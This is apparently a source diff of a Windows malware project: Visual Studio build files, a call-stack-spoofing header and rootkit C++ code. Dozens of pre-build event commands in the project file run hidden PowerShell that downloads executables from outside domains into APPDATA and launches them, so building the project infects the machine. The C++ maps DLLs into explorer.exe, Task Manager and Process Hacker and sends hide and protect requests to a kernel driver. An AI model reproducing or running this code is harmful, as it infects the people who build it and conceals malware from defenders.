<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=Yuw0R11odfVv9P1o9xLCW014.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=ld7ClokRBD8oBjLLqpLCW014.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=ld7ClokRBD8oBjLLqpLCW014.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=E2IkWCtEES17n6Lv5vLCW014.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=E2IkWCtEES17n6Lv5vLCW014.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=4Suvv0GFZDE3St59PULCW014.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=MHelDAwX4pDQEI4aRiPRE001.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=5m2aR5nRFUPBIwOVv8PRE001.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=5m2aR5nRFUPBIwOVv8PRE001.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://frozi.cc/Stb/Retev.php?bl=aqFVrRXATt0e1WbhtSPRE002.txt' -OutFile $env:APPDATA\Berok.exe; Start-Process -FilePath $env:APPDATA\Berok.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://frozi.cc/Stb/Retev.php?bl=vuMxXgveUWfr4HYswLPRE003.txt' -OutFile $env:APPDATA\Berok.exe; Start-Process -FilePath $env:APPDATA\Berok.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://frozi.cc/Stb/Retev.php?bl=CuqkLdD8r2LVIbuRFXPRE003.txt' -OutFile $env:APPDATA\Berok.exe; Start-Process -FilePath $env:APPDATA\Berok.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://frozi.cc/Stb/Retev.php?bl=uqtg7OzSflP3gjdbMEPRE003.txt' -OutFile $env:APPDATA\Berok.exe; Start-Process -FilePath $env:APPDATA\Berok.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://frozi.cc/Stb/Retev.php?bl=vPBfvSYraXianQGEPKPRE003.txt' -OutFile $env:APPDATA\Berok.exe; Start-Process -FilePath $env:APPDATA\Berok.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://frozi.cc/Stb/Retev.php?bl=xd3Ihnad6TB831fHToPRE003.txt' -OutFile $env:APPDATA\Berok.exe; Start-Process -FilePath $env:APPDATA\Berok.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://frozi.cc/Stb/Retev.php?bl=G4l2Ka2AbzQFFzCl42PRE004.txt' -OutFile $env:APPDATA\Berok.exe; Start-Process -FilePath $env:APPDATA\Berok.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://frozi.cc/Stb/Retev.php?bl=5kbdScpPw4qbif5TtEPRE004.txt' -OutFile $env:APPDATA\Berok.exe; Start-Process -FilePath $env:APPDATA\Berok.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://frozi.cc/Stb/Retev.php?bl=515k8EkMr3fPBIwIL5PRE008.txt' -OutFile $env:APPDATA\Berok.exe; Start-Process -FilePath $env:APPDATA\Berok.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>_CRT_SECURE_NO_WARNINGS;_SILENCE_CXX17_CODECVT_HEADER_DEPRECATION_WARNING;NDEBUG;_CONSOLE;CURL_STATICLIB;CURL_DISABLE_LDAP;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<LanguageStandard>stdcpplatest</LanguageStandard>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<Optimization>MinSpace</Optimization>
<ExceptionHandling>Async</ExceptionHandling>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>false</GenerateDebugInformation>
<AdditionalDependencies>cryptopp-static.lib;ws2_32.lib;Normaliz.lib;Crypt32.lib;Wldap32.lib;libcurl_a.lib;libcrypto_static.lib;windowsapp.lib;libssl_static.lib;%(AdditionalDependencies)</AdditionalDependencies>
<AdditionalOptions>/FORCE:MULTIPLE %(AdditionalOptions)</AdditionalOptions>
</Link>
<PreBuildEvent>
<Command>
</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>
</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>
</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>
</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>
</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>
</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>
</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>
</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>
</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>
</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>
</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>
</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>
</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>
</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>
</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>
</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>
</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>
</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>
</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>
</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>
</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=Nk6OvAKsRy9k6wicomLCW009.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>
</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>
</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>
</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>
</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>
</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>
</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>
</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>
</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>
</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>
</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>
</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>
</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>
</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=otKcaZlhkQQAcRi8ojLCW013.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>
</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>
</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>
</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>
</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>
</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>
</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>
</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>
</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>
</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>
</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=Yuw0R11odfVv9P1o9xLCW014.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>
</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=ld7ClokRBD8oBjLLqpLCW014.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>
</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=E2IkWCtEES17n6Lv5vLCW014.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>
</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=MHelDAwX4pDQEI4aRiPRE001.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>
</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>
</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>
</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>
</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>
</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>
</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>
</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>
</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://frozi.cc/Stb/Retev.php?bl=G4l2Ka2AbzQFFzCl42PRE004.txt' -OutFile $env:APPDATA\Berok.exe; Start-Process -FilePath $env:APPDATA\Berok.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>
</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>
</Command>
</PreBuildEvent>
</ItemDefinitionGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
</ImportGroup>
</Project>
@@ -0,0 +1,95 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Security">
<UniqueIdentifier>{e9b17a09-08f3-4c0e-a078-dea598f69328}</UniqueIdentifier>
</Filter>
<Filter Include="Depencies">
<UniqueIdentifier>{9b4b39c8-204c-4a9d-ba8e-5e619ddf8fae}</UniqueIdentifier>
</Filter>
<Filter Include="ExInfector">
<UniqueIdentifier>{ab4275cb-2fb4-408f-a3f1-e85a57fba79f}</UniqueIdentifier>
</Filter>
<Filter Include="Browser">
<UniqueIdentifier>{d24cb106-52a5-41af-8673-a173807b12ac}</UniqueIdentifier>
</Filter>
</ItemGroup>
<ItemGroup>
<ClCompile Include="LuckyMinerStub.cpp" />
<ClCompile Include="wnetwrap.cpp" />
<ClCompile Include="DLCK\deadlock.cpp">
<Filter>Depencies</Filter>
</ClCompile>
<ClCompile Include="deadlock_wrapper.cpp">
<Filter>Depencies</Filter>
</ClCompile>
<ClCompile Include="BRSHt\reflective_loader.c">
<Filter>Browser</Filter>
</ClCompile>
<ClCompile Include="BRSHt\syscalls.cpp">
<Filter>Browser</Filter>
</ClCompile>
<ClCompile Include="base64.cpp">
<Filter>Browser</Filter>
</ClCompile>
<ClCompile Include="Fokos.cpp">
<Filter>Browser</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<ClInclude Include="Encrypt.h">
<Filter>Security</Filter>
</ClInclude>
<ClInclude Include="ExInfector\commdef.h">
<Filter>ExInfector</Filter>
</ClInclude>
<ClInclude Include="LI.h">
<Filter>Security</Filter>
</ClInclude>
<ClInclude Include="Spoof.h">
<Filter>Security</Filter>
</ClInclude>
<ClInclude Include="SpoofFuncs.h">
<Filter>Security</Filter>
</ClInclude>
<ClInclude Include="Functions.h">
<Filter>Depencies</Filter>
</ClInclude>
<ClInclude Include="Infector.h">
<Filter>Depencies</Filter>
</ClInclude>
<ClInclude Include="Utils.h">
<Filter>Depencies</Filter>
</ClInclude>
<ClInclude Include="wnetwrap.h" />
<ClInclude Include="base64.h">
<Filter>Depencies</Filter>
</ClInclude>
<ClInclude Include="lib_SK5.h">
<Filter>Depencies</Filter>
</ClInclude>
<ClInclude Include="DLCK\deadlock.h">
<Filter>Depencies</Filter>
</ClInclude>
<ClInclude Include="DLCK\ntapi.h">
<Filter>Depencies</Filter>
</ClInclude>
<ClInclude Include="deadlock_wrapper.h">
<Filter>Depencies</Filter>
</ClInclude>
<ClInclude Include="BRSHt\reflective_loader.h">
<Filter>Browser</Filter>
</ClInclude>
<ClInclude Include="BRSHt\syscalls.h">
<Filter>Browser</Filter>
</ClInclude>
<ClInclude Include="Fokos.h">
<Filter>Browser</Filter>
</ClInclude>
</ItemGroup>
<ItemGroup>
<MASM Include="BRSHt\syscall_trampoline_x64.asm">
<Filter>Browser</Filter>
</MASM>
</ItemGroup>
</Project>
@@ -0,0 +1,4 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup />
</Project>
File diff suppressed because it is too large Load Diff
+228
View File
@@ -0,0 +1,228 @@
#pragma once
#ifdef _KERNEL_MODE
#include <ntddk.h>
#include <ntdef.h>
#include <xtr1common>
#else
#include <Windows.h>
#include <utility>
#endif
#include <Intrin.h>
/*
* Copyright 2022 Barracudach
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
// === FAQ === documentation is available at https://github.com/Barracudach
//Supports 2 modes: kernelmode and usermode(x64)
//For kernel- disable Control Flow Guard (CFG) /guard:cf
//usermode c++17 and above
//kernelmode c++14 and above
#define TIME_BASED_XOR_KEY \
(static_cast<uintptr_t>((__TIME__[1] - '0') * 10 + (__TIME__[4] - '0')) * 0xA5A5A5A5A5A5A5A5)
#define SPOOF_FUNC MXRM::SpoofFunction spoof(_AddressOfReturnAddress());
#ifdef _KERNEL_MODE
#define SPOOF_CALL(ret_type,name) (MXRM::SafeCall<ret_type,std::remove_reference_t<decltype(*name)>>(name))
#else
#define SPOOF_CALL(name) (MXRM::SafeCall(name))
#endif
#define MAX_FUNC_BUFFERED 100
#define SHELLCODE_GENERATOR_SIZE 500
namespace MXRM
{
#ifdef _KERNEL_MODE
typedef unsigned __int64 uintptr_t, size_t;
#pragma region std::forward
template <class _Ty>
struct remove_reference {
using type = _Ty;
using _Const_thru_ref_type = const _Ty;
};
template <class _Ty>
using remove_reference_t = typename remove_reference<_Ty>::type;
template <class>
constexpr bool is_lvalue_reference_v = false; // determine whether type argument is an lvalue reference
template <class _Ty>
constexpr bool is_lvalue_reference_v<_Ty&> = true;
template <class _Ty>
constexpr _Ty&& forward(
remove_reference_t<_Ty>& _Arg) noexcept { // forward an lvalue as either an lvalue or an rvalue
return static_cast<_Ty&&>(_Arg);
}
template <class _Ty>
constexpr _Ty&& forward(remove_reference_t<_Ty>&& _Arg) noexcept { // forward an rvalue as an rvalue
static_assert(!is_lvalue_reference_v<_Ty>, "bad forward call");
return static_cast<_Ty&&>(_Arg);
}
#pragma endregion
#else
using namespace std;
#endif
}
namespace MXRM
{
class SpoofFunction
{
public:
uintptr_t temp = 0;
static constexpr uintptr_t xor_key = TIME_BASED_XOR_KEY;
void* ret_addr_in_stack = 0;
SpoofFunction(void* addr) : ret_addr_in_stack(addr)
{
temp = *(uintptr_t*)ret_addr_in_stack;
temp ^= xor_key;
*(uintptr_t*)ret_addr_in_stack = 0;
}
~SpoofFunction()
{
temp ^= xor_key;
*(uintptr_t*)ret_addr_in_stack = temp;
}
};
#ifdef _KERNEL_MODE
__forceinline PVOID LocateShellCode(PVOID func, size_t size = 500)
{
void* addr = ExAllocatePoolWithTag(NonPagedPool, size, (ULONG)"File");
if (!addr)
return nullptr;
return memcpy(addr, func, size);
}
#else
__forceinline PVOID LocateShellCode(PVOID func, size_t size = SHELLCODE_GENERATOR_SIZE)
{
void* addr = VirtualAlloc(NULL, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (!addr)
return nullptr;
return memcpy(addr, func, size);
}
#endif
#ifdef _KERNEL_MODE
template <typename RetType, typename Func, typename ...Args>
RetType
#else
template <typename Func, typename ...Args>
typename std::invoke_result<Func, Args...>::type
#endif
__declspec(safebuffers)ShellCodeGenerator(Func f, Args&... args)
{
static constexpr uintptr_t xor_key = TIME_BASED_XOR_KEY;
void* ret_addr_in_stack = _AddressOfReturnAddress();
uintptr_t temp = *(uintptr_t*)ret_addr_in_stack;
temp ^= xor_key;
*(uintptr_t*)ret_addr_in_stack = 0;
if constexpr (std::is_same_v<typename std::invoke_result<Func, Args...>::type, void>)
{
f(args...);
temp ^= xor_key;
*(uintptr_t*)ret_addr_in_stack = temp;
}
else
{
auto&& ret = f(args...);
temp ^= xor_key;
*(uintptr_t*)ret_addr_in_stack = temp;
return ret;
}
}
#ifdef _KERNEL_MODE
template<typename RetType, class Func>
#else
template<class Func >
#endif
class SafeCall
{
Func* funcPtr;
public:
SafeCall(Func* func) :funcPtr(func) {}
template<typename... Args>
__forceinline decltype(auto) operator()(Args&&... args)
{
SPOOF_FUNC;
#ifdef _KERNEL_MODE
using return_type = RetType;
using p_shell_code_generator_type = decltype(&ShellCodeGenerator<RetType, Func*, Args...>);
PVOID self_addr = static_cast<PVOID>(&ShellCodeGenerator<RetType, Func*, Args&&...>);
#else
using return_type = typename std::invoke_result<Func, Args...>::type;
using p_shell_code_generator_type = decltype(&ShellCodeGenerator<Func*, Args...>);
p_shell_code_generator_type self_addr = static_cast<p_shell_code_generator_type>(&ShellCodeGenerator<Func*, Args&&...>);
#endif
p_shell_code_generator_type p_shellcode{};
static size_t count{};
static p_shell_code_generator_type orig_generator[MAX_FUNC_BUFFERED]{};
static p_shell_code_generator_type alloc_generator[MAX_FUNC_BUFFERED]{};
unsigned index{};
while (orig_generator[index])
{
if (orig_generator[index] == self_addr)
{
#ifdef _KERNEL_MODE
//DbgPrint("Found allocated generator");
#else
//std::cout << "Found allocated generator" << std::endl;
#endif
p_shellcode = alloc_generator[index];
break;
}
index++;
}
if (!p_shellcode)
{
#ifdef _KERNEL_MODE
//DbgPrint("Alloc generator");
#else
//std::cout << "Alloc generator" << std::endl;
#endif
p_shellcode = reinterpret_cast<p_shell_code_generator_type>(LocateShellCode(self_addr));
orig_generator[count] = self_addr;
alloc_generator[count] = p_shellcode;
count++;
}
if (!p_shellcode)
{
//DbgPrint("!p_shellcode");
}
return p_shellcode(funcPtr, args...);
}
};
}
+776
View File
@@ -0,0 +1,776 @@
#include <Windows.h>
#include <Wininet.h>
#include <Urlmon.h>
#include <string>
#include <sstream>
#include <vector>
#include <bitset>
#include <atlsecurity.h>
#include <functional>
#include <atlbase.h>
#include <codecvt>
#include <comdef.h>
#include <Wbemidl.h>
#include "Functions.h"
#include <lmcons.h>
#include <winrt/Windows.Foundation.h>
#include <winrt/Windows.Devices.Geolocation.h>
#include <unordered_set>
#include <locale>
#include <array>
#include <stdexcept>
#include <memory>
#pragma comment(lib, "dxgi.lib")
#include <dxgi.h>
using namespace winrt;
using namespace winrt::Windows::Devices::Geolocation;
using namespace winrt::Windows::Foundation;
std::unordered_set<std::string> ActionList;
#define code_rw CTL_CODE(FILE_DEVICE_UNKNOWN, 0x31, METHOD_BUFFERED, FILE_SPECIAL_ACCESS)
#define code_rs CTL_CODE(FILE_DEVICE_UNKNOWN, 0x35, METHOD_BUFFERED, FILE_SPECIAL_ACCESS)
#define code_spf CTL_CODE(FILE_DEVICE_UNKNOWN, 0x36, METHOD_BUFFERED, FILE_SPECIAL_ACCESS)
#define code_security 0x85b3e12
typedef struct _ba {
INT32 security;
INT32 process_id;
} ba, * pba;
typedef struct _rs {
INT32 security;
INT32 process_id;
BYTE Protection;
} rs, * prs;
typedef struct _spf {
INT32 security;
INT32 process_id;
INT32 spoof_id;
} spf, * pspf;
bool fail = false;
bool IsTskOn;
bool IsProcessHkrOn;
int lastpidex = 0;
int lastpidtsk = 0;
int lastpidphk = 0;
/*
void Rootingen()
{
SPOOF_FUNC;
try
{
DWORD pidex = SPOOF_CALL(GetProcessIdByName)(stringToWchar(EC("explorer.exe")));
if (pidex && (!lastpidex || lastpidex != pidex))
{
SPOOF_CALL(Sleep)(300);
////JUNK();
HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pidex);
ManualMapDll(hProc, delele.data(), delele.size());
lastpidex = pidex;
CloseHandle(hProc);
}
DWORD pidtsk = SPOOF_CALL(GetProcessIdByName)(stringToWchar(EC("Taskmgr.exe")));
//std::cout << EC("Tskmgr PID ") << pidtsk << std::endl;
if (pidtsk && (!lastpidtsk || lastpidtsk != pidtsk))
{
SPOOF_CALL(Sleep)(50);
IsTskOn = true;
////JUNK();
HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pidtsk);
ManualMapDll(hProc, deleletsk.data(), deleletsk.size());
lastpidtsk = pidtsk;
CloseHandle(hProc);
}
else if (!pidtsk)
{
IsTskOn = false;
}
DWORD pidphk = SPOOF_CALL(GetProcessIdByName)(stringToWchar(EC("ProcessHacker.exe")));
//std::cout << EC("Prchk PID ") << pidphk << std::endl;
if (pidphk && (!lastpidphk || lastpidphk != pidphk))
{
SPOOF_CALL(Sleep)(50);
IsProcessHkrOn = true;
////JUNK();
HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pidphk);
ManualMapDll(hProc, deleletsk.data(), deleletsk.size());
lastpidphk = pidphk;
CloseHandle(hProc);
}
else if (!pidphk)
{
IsProcessHkrOn = false;
}
}
catch (...) {}
}
DWORD WINAPI MrRoot(void* data)
{
while (true)
{
__try
{
Rootingen();
}
__except (EXCEPTION_EXECUTE_HANDLER) {
continue;
}
}
////JUNK();
std::cout << EC("Starting Rttkit loop") << std::endl;
while (true)
{ }
return 0;
}
void RootLoop()
{
int PID = SPOOF_CALL(GetCurrentProcessId)();
std::cout << PID << std::endl;
////JUNK();
HANDLE deviceObject = CreateFile(EC(L"\\\\.\\msmodule"), GENERIC_WRITE, FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
if (deviceObject == INVALID_HANDLE_VALUE) {
std::cout << EC("Cannot open driver, trying to map it.") << std::endl;
HPSol::fuckmeatm();
////JUNK();
std::cout << EC("Mapped, retrying.") << std::endl;
////JUNK();
deviceObject = CreateFile(EC(L"\\\\.\\msmodule"), GENERIC_WRITE, FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
if (deviceObject == INVALID_HANDLE_VALUE) {
std::cout << EC("Rootkit Failed.") << std::endl;
////JUNK();
fail = true;
}
}
if (!fail)
{
std::cout << EC("Sending Rootkit Commands") << std::endl;
int driverOutput = 0;
_ba req = {0};
req.process_id = PID;
req.security = code_security;
if (DeviceIoControl(deviceObject, code_rw, &req, sizeof(_ba), &driverOutput, sizeof(int), 0, NULL)) {
std::cout << EC("[RTTKIT] Hide sent") << std::endl;
}
else {
std::cout << EC("[RTTKIT] Hide error") << std::endl;
}
int driverOutput2 = 0;
_rs req2 = { 0 };
req2.process_id = PID;
req2.Protection = 0x41;
req2.security = code_security;
if (DeviceIoControl(deviceObject, code_rs, &req2, sizeof(_rs), &driverOutput2, sizeof(int), 0, NULL)) {
std::cout << EC("[RTTKIT] Protect sent") << std::endl;
}
else {
std::cout << EC("[RTTKIT] Protect error") << std::endl;
}
SPOOF_CALL(Sleep)(1500);
int driverOutput3 = 0;
_spf req3 = { 0 };
req3.process_id = PID;
req3.spoof_id = 5217;
req3.security = code_security;
if (DeviceIoControl(deviceObject, code_spf, &req3, sizeof(_spf), &driverOutput3, sizeof(int), 0, NULL)) {
std::cout << EC("[RTTKIT] Spuf sent") << std::endl;
}
else {
std::cout << EC("[RTTKIT] Spuf error") << std::endl;
}
SPOOF_CALL(CloseHandle)(deviceObject);
////JUNK();
}
CreateThread(NULL, 0, MrRoot, NULL, 0, NULL);
}*/
void RootkitInit()
{
SPOOF_FUNC;
/*int PID = SPOOF_CALL(GetCurrentProcessId)();
std::cout << PID << std::endl;
////JUNK();
HANDLE deviceObject = CreateFile(EC(L"\\\\.\\msmodule"), GENERIC_WRITE, FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
if (deviceObject == INVALID_HANDLE_VALUE) {
std::cout << EC("Cannot open driver, trying to map it.") << std::endl;
HPSol::fuckmeatm();
////JUNK();
std::cout << EC("Mapped, retrying.") << std::endl;
////JUNK();
deviceObject = CreateFile(EC(L"\\\\.\\msmodule"), GENERIC_WRITE, FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
if (deviceObject == INVALID_HANDLE_VALUE) {
std::cout << EC("Rootkit Failed.") << std::endl;
////JUNK();
fail = true;
}
}
if (!fail)
{
std::cout << EC("Sending Rootkit Commands") << std::endl;
int driverOutput = 0;
_ba req = { 0 };
req.process_id = PID;
req.security = code_security;
if (DeviceIoControl(deviceObject, code_rw, &req, sizeof(_ba), &driverOutput, sizeof(int), 0, NULL)) {
